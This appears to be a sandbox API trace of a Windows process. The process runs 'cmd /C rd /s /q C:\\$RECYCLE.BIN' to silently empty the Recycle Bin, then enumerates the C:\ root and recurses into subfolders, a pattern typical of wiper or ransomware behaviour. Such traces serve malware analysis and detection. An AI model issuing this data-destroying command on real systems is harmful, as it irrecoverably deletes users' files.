	[0067.556] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000012270, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0067.556] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c96b0 | out: lpFileInformation=0xc0000c96b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e427f9e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e427f9e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e427f9e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42600)) returned 1
	[0067.556] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x148
	[0067.556] GetConsoleMode (in: hConsoleHandle=0x148, lpMode=0xc0000c9ac4 | out: lpMode=0xc0000c9ac4) returned 0
	[0067.556] GetFileType (hFile=0x148) returned 0x2
	[0067.556] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x138
	[0067.556] GetConsoleMode (in: hConsoleHandle=0x138, lpMode=0xc0000c9a84 | out: lpMode=0xc0000c9a84) returned 0
	[0067.556] GetFileType (hFile=0x138) returned 0x2
	[0067.556] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x13c
	[0067.559] GetConsoleMode (in: hConsoleHandle=0x13c, lpMode=0xc0000c9a84 | out: lpMode=0xc0000c9a84) returned 0
	[0067.559] GetFileType (hFile=0x13c) returned 0x2
	[0067.559] GetEnvironmentStringsW () returned 0x1619f3af610*
	[0067.559] VirtualAlloc (lpAddress=0xc000064000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000064000
	[0067.559] VirtualAlloc (lpAddress=0xc000066000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000066000
	[0067.560] VirtualAlloc (lpAddress=0xc000068000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000068000
	[0067.560] VirtualAlloc (lpAddress=0xc00006a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006a000
	[0067.560] VirtualAlloc (lpAddress=0xc00006c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006c000
	[0067.561] VirtualAlloc (lpAddress=0xc00006e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006e000
	[0067.562] FreeEnvironmentStringsW (penv=0x1619f3af610) returned 1
	[0067.562] VirtualAlloc (lpAddress=0xc000070000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000070000
	[0067.562] GetCurrentProcess () returned 0xffffffffffffffff
	[0067.562] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x148, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc00000e620, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc00000e620*=0x14c) returned 1
	[0067.562] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x138, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc00000e628, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc00000e628*=0x150) returned 1
	[0067.562] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc00000e630, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc00000e630*=0x154) returned 1
	[0067.562] VirtualAlloc (lpAddress=0xc000074000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000074000
	[0067.563] VirtualAlloc (lpAddress=0xc000078000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000078000
	[0067.564] VirtualAlloc (lpAddress=0xc00007c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007c000
	[0067.564] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine="cmd /C \"rd /s /q C:\\\\$RECYCLE.BIN\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0xc00007c000, lpCurrentDirectory=0x0, lpStartupInfo=0xc0000c9a88*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x14c, hStdOutput=0x150, hStdError=0x154), lpProcessInformation=0xc0000c9998 | out: lpCommandLine="cmd /C \"rd /s /q C:\\\\$RECYCLE.BIN\"", lpProcessInformation=0xc0000c9998*(hProcess=0x164, hThread=0x158, dwProcessId=0x428, dwThreadId=0x168)) returned 1
	[0067.600] CloseHandle (hObject=0x158) returned 1
	[0067.600] CloseHandle (hObject=0x154) returned 1
	[0067.600] CloseHandle (hObject=0x150) returned 1
	[0067.600] CloseHandle (hObject=0x14c) returned 1
	[0067.600] CloseHandle (hObject=0x148) returned 1
	[0067.600] CloseHandle (hObject=0x138) returned 1
	[0067.600] CloseHandle (hObject=0x13c) returned 1
	[0067.600] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0xffffffff) returned 0x0
	[0069.223] SetEvent (hEvent=0x120) returned 1
	[0069.223] GetExitCodeProcess (in: hProcess=0x164, lpExitCode=0xc0000c9cac | out: lpExitCode=0xc0000c9cac*=0x0) returned 1
	[0069.223] GetProcessTimes (in: hProcess=0x164, lpCreationTime=0xc00000e640, lpExitTime=0xc00000e648, lpKernelTime=0xc00000e650, lpUserTime=0xc00000e658 | out: lpCreationTime=0xc00000e640, lpExitTime=0xc00000e648, lpKernelTime=0xc00000e650, lpUserTime=0xc00000e658) returned 1
	[0069.223] CloseHandle (hObject=0x164) returned 1
	[0069.223] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fbff138, ulCount=0x10, ulNumEntriesRemoved=0x92fbff110, dwMilliseconds=0x5, fAlertable=0 | out: lpCompletionPortEntries=0x92fbff138, ulNumEntriesRemoved=0x92fbff110) returned 0
	[0069.240] SetEvent (hEvent=0xf0) returned 1
	[0069.240] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xc0000c9b24, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c9b24, lpOverlapped=0x0) returned 0
	[0069.241] VirtualAlloc (lpAddress=0xc00017a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017a000
	[0069.241] VirtualAlloc (lpAddress=0xc000180000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000180000
	[0069.243] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xc000031bc8 | out: lpFileInformation=0xc000031bc8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x31b3b9e4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x294bd545, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x294bd545, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0069.254] CreateFileW (lpFileName="C:\\" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0069.255] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0xc000031980 | out: lpFindFileData=0xc000031980*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x1619f39e1c0
	[0069.255] GetProcAddress (hModule=0x7ffce9120000, lpProcName="FindNextFileW") returned 0x7ffce9142230
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab460c6f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0069.255] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xaced8ceb, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xeda3c44c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xeda3c44c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xacefef79, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1
	[0069.256] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0069.256] GetProcAddress (hModule=0x7ffce9120000, lpProcName="FindClose") returned 0x7ffce9142160
	[0069.256] FindClose (in: hFindFile=0x1619f39e1c0 | out: hFindFile=0x1619f39e1c0) returned 1
	[0069.257] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0xc000031b7c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031b7c, lpOverlapped=0x0) returned 0
	[0069.257] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent" (normalized: "c:\\$getcurrent"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0069.268] CreateFileW (lpFileName="C:\\$GetCurrent" (normalized: "c:\\$getcurrent"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0069.268] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e0a0
	[0069.269] FindNextFileW (in: hFindFile=0x1619f39e0a0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.269] FindNextFileW (in: hFindFile=0x1619f39e0a0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0069.269] FindNextFileW (in: hFindFile=0x1619f39e0a0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0069.269] FindNextFileW (in: hFindFile=0x1619f39e0a0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0069.269] FindClose (in: hFindFile=0x1619f39e0a0 | out: hFindFile=0x1619f39e0a0) returned 1
	[0069.269] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0069.269] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs" (normalized: "c:\\$getcurrent\\logs"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0069.350] VirtualAlloc (lpAddress=0xc0000fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000fa000
	[0069.351] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs" (normalized: "c:\\$getcurrent\\logs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
